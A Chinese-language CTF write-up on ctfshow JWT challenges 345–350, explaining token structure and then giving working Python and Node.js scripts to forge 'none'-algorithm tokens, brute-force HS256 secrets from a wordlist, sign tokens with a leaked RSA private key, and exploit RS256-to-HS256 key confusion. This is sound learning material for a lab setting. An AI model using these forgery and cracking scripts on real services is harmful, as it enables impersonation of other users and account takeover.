ctfshow JWT总结

一、基础知识:

介绍:

JSON Web Token(JWT)是用来进行跨域身份验证的一种方案。

构成:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTY2NzgxMDA1MX0.bsJ9p7cPTKUu0KwUWuuPXrDPF7tMz6h1YVvc5ASyulZ-KhtXGPNaSxJZD4OJJFBRVfDrIu0ObrYWJ4BRgJABDuvRWfLYkx_mUnlDx-URWLHxiOB7fGcuBn5xfNE3XwGWtvyHtcneftvpqt0FPDSKu-lde_2OoiZJTz2st_DWHVQ

从上面可以看出由三部分构造,三部分分别用Base64URL编码以后用连接。

第一部分header:

解码以后得到(jwt.io

{
  "alg": "RS256",
  "typ": "JWT"
}

jwt的头部承载两部分信息:

  • 声明类型,这里是jwt
  • 声明加密的算法 通常直接使用 RS256(非对称加密算法) HS256(对称加密算法)

第二部分payload:

{
  "user": "user",
  "iat": 1667810051
}

jwt的载荷部分用来存储一些有效信息,这些有效信息一般来说分为三个部分

  • 标准中注册的声明
    • iss: jwt签发者
    • sub: jwt所面向的用户
    • aud: 接收jwt的一方
    • exp: jwt的过期时间,这个过期时间必须要大于签发时间
    • nbf: 定义在什么时间之前,该jwt都是不可用的.
    • iat: jwt的签发时间
    • jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。
  • 公共的声明
    • 公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息,因为该部分在客户端可进行解码.       
  • 私有的声明
    • 私有声明是提供者和消费者所共同定义的声明

第三部分:signature

jwt的第三部分是一个签证信息,这个签证信息由三部分组成:

  • header (base64后的)
  • payload (base64后的)
  • secret

这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。加密方式如下。

// javascript
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);

var signature = HMACSHA256(encodedString, 'secret');

最后将这三部分用.连接成一个完整的字符串,构成了最终的jwt。

二、相关利用(题目)

jwt编码脚本如下:(对照着在网站jwt.io解码后的数据进行修改)

import jwt

header = {
    "alg": "none",
    "typ": "JWT"
}
content = {
    "iss": "admin",
    "iat": 1667822180,
    "exp": 1667829380,
    "nbf": 1667822180,
    "sub": "admin",
    "jti": "237410127e2551647730b97941cdcae5"
}

token = jwt.encode(
    content,
    "", # 密钥,此处置为空
    algorithm="none", # 加密方式
    headers=header
)

print(token)

345:(直接修改payload)(有点小问题没有解决清楚)

拿到题目cookie以后解密发现算法为none,那我们直接修改payload里面的sub为admin即可。

操作方式1:

利用bp解码---->修改数据---->编码---->提交即可。疑惑的是最后提交的内容没有我们的熟悉的‘点’了,但是可以出flag。

操作方式2:

利用脚本修改完数据运行后得到

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2NzgyMjE4MCwiZXhwIjoxNjY3ODI5MzgwLCJuYmYiOjE2Njc4MjIxODAsInN1YiI6ImFkbWluIiwianRpIjoiMjM3NDEwMTI3ZTI1NTE2NDc3MzBiOTc5NDFjZGNhZTUifQ.

 我们直接提交无flag,这里奇怪的点是提交第一个点后面的内容也就是payload的内容会出flag,有师傅明白为什么可以解释一下谢谢。

346:(直接修改alg为none绕过)

介绍:

JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。
设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站。

注意:这里不能利用我们上面的方法1了,我们要用脚本的方式。 

347:(对称加密算法 HS256 密钥的爆破)

 爆破脚本如下:

import jwt

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2NzgyNDA3NiwiZXhwIjoxNjY3ODMxMjc2LCJuYmYiOjE2Njc4MjQwNzYsInN1YiI6InVzZXIiLCJqdGkiOiJjMDlkNDc4M2U0NzhkZWI5ZDAyOTI2ZGI5OThhNTJkYiJ9.qGhObQujOnXKBkb8IM2_uLroZZRgY6Voty_-vPQUqUM" # 题目中的 token
password_file = "/Users/meng/password.txt" # 密码文件

with open(password_file,'rb') as file:
    for line in file:
        line = line.strip() # 去除每行后面的换行
        try:
            jwt.decode(token, verify=True, key=line, algorithms="HS256") # 设置编码方式为 HS256
            print('key: ', line.decode('ascii'))
            break
        except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError
                , jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
                jwt.exceptions.ImmatureSignatureError): # 出现这些错误,虽然表示过期之类的错误,但是密钥是正确的
            print("key: ", line.decode('ascii'))
            break
        except jwt.exceptions.InvalidSignatureError: # 签名错误则表示密钥不正确
            print("Failed: ", line.decode('ascii'))
            continue
    else:
        print("Not Found.")

 得到key为123456。

或者利用工具jwt-cracker  ,该题用这个工具有点慢还是用我的脚本吧,然后用自己的弱密码字典。

得到key了,那我们可以利用jwt编码脚本来修改,也可以用网站jwt.io进行修改如下:

348(工具jwt-cracker爆破密钥)

得到密钥以后下面的步骤就和之前的一样了

349(非对称加密算法RS256泄漏私钥)

先访问http://xxxx/private.key将私钥下载下来,然后稍微修改一下脚本即可。

import jwt
private = open('/Users/meng/Documents/Code/Python_code/ctf_JWT/private.key', 'r').read()

header = {
    "alg": "RS256",
    "typ": "JWT"
}

payload={
    "user":"admin",
    "iat": 1667825552
}


token = jwt.encode(
    payload=payload,
    key=private, # 密钥
    algorithm="RS256", # 加密方式
    headers=header
)

print(token)

 然后根据源代码的提示,修改cookie以后,Post方式访问url即可。

 350(泄漏公钥---->非对称密码算法改为对称密码算法)

 也就是说直接利用公钥进行加密和解密,不再需要私钥。

var jwt = require('jsonwebtoken');
var fs = require('fs');

var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

 补充:不要利用py脚本,利用上述代码的nodejs环境。

 

参考:

https://blog.csdn.net/miuzzx/article/details/111936737

https://blog.csdn.net/solitudi/article/details/112525267

 

posted @ 2022-11-07 21:50  hithub  阅读(1762)  评论(0编辑  收藏  举报